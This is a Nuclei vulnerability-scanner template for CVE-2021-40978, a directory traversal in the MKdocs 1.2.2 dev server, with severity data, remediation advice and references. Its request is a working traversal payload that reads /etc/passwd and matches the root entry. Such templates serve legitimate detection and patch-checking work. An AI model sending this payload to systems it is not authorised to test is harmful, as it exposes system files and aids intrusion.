nuclei-templates/http/cves/2021/CVE-2021-40978.yaml

47 lines
1.6 KiB
YAML
Raw Normal View History

2021-10-14 01:37:46 +00:00
id: CVE-2021-40978
info:
name: MKdocs 1.2.2 - Directory Traversal
2021-10-14 01:37:46 +00:00
author: pikpikcu
severity: high
description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
2021-10-14 03:53:48 +00:00
reference:
- https://github.com/mkdocs/mkdocs/pull/2604
2021-10-14 03:53:48 +00:00
- https://github.com/nisdn/CVE-2021-40978
- https://nvd.nist.gov/vuln/detail/CVE-2021-40978
- https://github.com/mkdocs/mkdocs
2023-07-11 19:49:27 +00:00
- https://github.com/mkdocs/mkdocs/issues/2601
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40978
cwe-id: CWE-22
2023-07-11 19:49:27 +00:00
epss-score: 0.04273
epss-percentile: 0.91285
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: mkdocs
product: mkdocs
tags: cve,cve2021,mkdocs,lfi
2021-10-14 01:37:46 +00:00
http:
2021-10-14 01:37:46 +00:00
- method: GET
path:
- '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
matchers-condition: and
matchers:
- type: regex
2023-07-11 19:49:27 +00:00
part: body
2021-10-14 01:37:46 +00:00
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100faf51d1c1ac043d4c2aef4973e647aa57823a6b5bea3c837ad6c1d4e901e52a6022100cc7b101326a5bb196cdc0b5d92a6150b3a95c61c9c5fc80cd65e9807ad9596bd:922c64590222798bb761d5b6d8e72950